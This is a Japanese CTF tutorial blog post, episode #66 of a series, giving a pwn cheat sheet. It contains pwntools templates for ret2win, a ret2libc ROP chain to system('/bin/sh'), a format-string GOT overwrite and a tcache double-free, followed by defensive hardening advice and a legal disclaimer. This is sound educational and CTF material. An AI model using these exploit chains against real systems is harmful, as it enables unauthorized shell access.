【Pwn総まとめ編】実戦シナリオとチートシートで完走する|CTF思考フレームワーク #66
広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

Pwn の総まとめ、チートシートみたいなのあると助かる…📋

ありますよ。BoF/ROP/Format String/Heap――それぞれの『典型シナリオ→攻撃ペイロード→pwntools コード例』を整理した実戦チートシート。CTF本番で『あれ、これどう書くんだっけ?』を解消します。
Pwn は学習量が膨大ですが、典型シナリオは20〜30パターンに集約できます。pwntools のテンプレ、ガジェット検索手順、libc base アドレス計算、ROP チェーン構築の定石、Heap exploit 別のシナリオ――これらを 1枚のチートシートにまとめておくと、本番で迷いません。

本番で焦らないために、こういう整理が大事なんだね。
この記事は、CTF思考フレームワーク第66回。Pwn 総まとめ編として、典型シナリオ別の実戦チートシート、pwntools テンプレ、ライブラリ管理(libc-database)、トラブルシューティングの定石を整理した完走ガイドを提供します。
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 #66 / 全86記事 → シリーズ一覧を見る →
📚 Pwn編の最終回はチートシート。pwntoolsの定型、ROPテンプレ、libcハッキング、よく使うgdbコマンド。机に貼っておきたい「Pwnerの引き出し」を一気にまとめます。
実戦では「思い出すコスト」が勝負を分けます。テンプレを身体に染み込ませること、それがCTFタイムアタックの王道。シリーズで学んできた技を1ページに凝縮。
実戦シナリオとチートシートで完走!📋

Pwnの最後は「型を覚えて型から逸脱する」段階。チートシートで武器庫を整理しよう📋
先に意味を押さえておくと読みやすい用語です。
- CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
- RCE: 離れた場所から相手のサーバーや端末で命令を実行できる状態です。
- コンテナ: アプリを隔離された軽い実行環境で動かす仕組みです。
- Pwn: バイナリの不備を突いてプログラムの制御を奪うCTF分野です。
- ROP: 既存コードの断片をつなぎ、攻撃用の処理を作る高度な手法です。
👀 観察フェーズ:まず何を見る?

バイナリを受け取ったら必ずfile→checksec→Ghidra→objdump→stringsの順で観察🔍
CTF/競技でPwnバイナリを開く儀式:①checksec、②file、③strings、④Ghidra/IDA、⑤main周辺の脆弱関数特定、⑥cyclicでオフセット、⑦保護機構ごとに分岐戦略。
checksecで保護機構fileでarchstringsでwin/flag/secret等を検索- Ghidra/IDAでmain・vuln関数の構造
- pwntools
cyclicでオフセット - libc特定(leak下位3桁→libc.rip)

時間制限のあるCTFでは「定石」を持っているかが勝負を分けるね💡
🤔 仮説フェーズ:攻撃者は何を考える?

Pwn実戦の4チェックポイント。
🕶️ 攻撃計画の優先順:①脆弱関数の種類(gets/scanf/printf/malloc)→②保護機構(NX/PIE/RELRO/Canary)→③1段leak経路→④本exploit(ret2win/ret2libc/ROP/heap)→�5本番shell獲得。
🧭 仮説①:脆弱性の種類を特定
BoF / FSB / UAF / DF / OOB / 整数オーバーフロー / Race…どれか1つに分類できれば手筋が決まる。
🎯 仮説②:Win条件の確認
CTFならflag.txtを読むだけで良いことも。RCEが必須か、メモリリークで足りるかを判断。
📚 仮説③:使えるガジェット/関数
system / execve / open+read+write / mprotectのうちどれが揃っているか。
🐛 仮説④:保護を破る順序
一般的にはleak→canary→PIE→libc→exploit。タンパク保証(Full RELRO)があるなら戦略変更。

Pwnは「武器庫の広さ × 観察の鋭さ」がそのまま実力なんだね💡
🔬 検証フェーズ:どうやって確かめる?

練習場: picoCTF / pwn.college / ROP Emporium / How2Heap。1問ずつ完答→writeup書く🧪
実戦テンプレを身につけておけば、初見10分以内にleak経路まで設計できる。pwntoolsのflat()やROPオブジェクトを駆使して短く書く。
# Pwn実戦テンプレ(最頻出)
from pwn import *
import os
context.binary = elf = ELF('./chall')
libc = ELF('./libc.so.6') if os.path.exists('./libc.so.6') else None
def start():
if args.REMOTE:
return remote('host', 1337)
return process(elf.path)
p = start()
# 既知gadget例
pop_rdi = 0x...
ret = pop_rdi + 1

自分のexploitをテンプレ化しておくと次の問題で再利用できるね📋
⚔️ 攻撃フェーズ:実際の手口

実戦で頻出する組合せ3パターン。
頻出4パターンのテンプレ。これだけで多くのCTF Pwn問題はカバーできます。
# 1) ret2win
payload = b'A' * OFFSET + p64(ret) + p64(elf.symbols['win'])
# 2) ret2libc(leak→system)
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
p.sendline(flat(b'A' * OFFSET, rop.chain()))
leak = u64(p.recvline().strip().ljust(8, b'x00'))
libc.address = leak - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh')))
p.sendline(flat(b'A' * OFFSET, rop2.chain()))
# 3) Format String(FSB)
payload = fmtstr_payload(OFFSET, {elf.got['exit']: elf.symbols['win']})
# 4) Heap(tcache poisoning)
add(0x40, b'A') # idx0
add(0x40, b'B') # idx1
free(0)
free(1)
free(0) # double free
edit(0, p64(target))
add(0x40, b'X')
add(0x40, b'Y')
add(0x40, b'Z') # target が返る
edit(2, p64(value))
チートシートは「コピペで動く」より「脳内テンプレ」として記憶するのが速い。何度も写経するうちに自然に頭の中で組み立てられるようになります💪
cyclicでオフセット→puts(puts@got)でlibc leak→system(“/bin/sh”)。基本フルコース。
printf format bug→canary leak + GOT書換でsystem呼出にすり替え。
C++サンプル系でfree後再allocでvtableを攻撃者ポインタに。
🛡️ 防御フェーズ:どう守る?

総合対策の3鉄則!
守備側のチートシートは「コンパイラフラグ全有効」「危険関数禁止」「fuzzing継続」「メモリ安全言語移行」。SDLCに組み込むのが本質。
- コンパイル:
-fstack-protector-strong -D_FORTIFY_SOURCE=2 -fpie -pie -fcf-protection=full -Wl,-z,now,-z,relro - Lint/SAST:危険関数(gets/strcpy/sprintf)禁止
- CIで
checksec結果を必須Gateに - OSS-Fuzz / libFuzzer / AFL++を継続
- AddressSanitizer / MemorySanitizerでテスト
- メモリ安全言語(Rust)への段階移行
新規はRust/Goで書き、既存CはCoverity / CodeQL / clang-tidyで常時監査。
CIのchecksecチェックで全項目greenを保つ。
プロセス分離、seccomp、コンテナ、最小権限のlinuxユーザーで被害範囲を絞る。

Pwnは「攻撃を完全には防げない、でも難度を上げれば確実に効果がある」。守りも積み重ねが命💪
🧪 pwn検証用のLinuxラボ
Pwnやエクスプロイトの練習は、必ず自分の検証環境で。💻 ConoHa VPSならLinuxをワンクリックで立てて、gdb-pedaやpwntoolsを仕込んでそのままトレーニングできます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- cyclicオフセットを取らずに手計算してズレる
- libcバージョン特定をミスってオフセット計算が全壊
- PIE有効を忘れて固定アドレスでROP
- x64でmovaps落ちを忘れret gadgetを挟まない
- tcache key(glibc 2.32+)導入後の手法を旧手順で
- pwntools p32/p64を間違える(archミス)
🧰 ツール早見表
| ツール | 用途 | 備考 |
|---|---|---|
| pwntools | exploit骨格 | flat/ROP/process/remote |
| gdb + pwndbg / gef | デバッグ | tele/vis_heap_chunks |
| ROPgadget / ropper | gadget抽出 | 汎用 |
| one_gadget | libc execve一発 | 条件確認必須 |
| libc-database / libc.rip | libc特定 | leak下位3桁 |
🎓 本気で学びたい人へ
ローレベルやOSレベルの許可を、仕事として深く学びたい方へ。🎓 ササエルはインフラとセキュリティの両方を学べるスクールです。
📚 もっと深く学びたい人へ
実際に手を動かして攻撃手法を体で覚えたいなら『7日間でハッキングをはじめる本 TryHackMe』がおすすめ📚
📚 次に読みたい
✍️ 学んだことを発信する
検証ノートをブログで公開したい方は、高速で安価なConoHa WINGが使いやすいです。
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝
この記事は合法な学習・防御目的での解説です。許可のないシステムへの攻撃は犯罪になります(不正アクセス禁止法ほか)。検証は必ず自分が管理する環境・CTF・公式ハンズオンで行ってください🙏



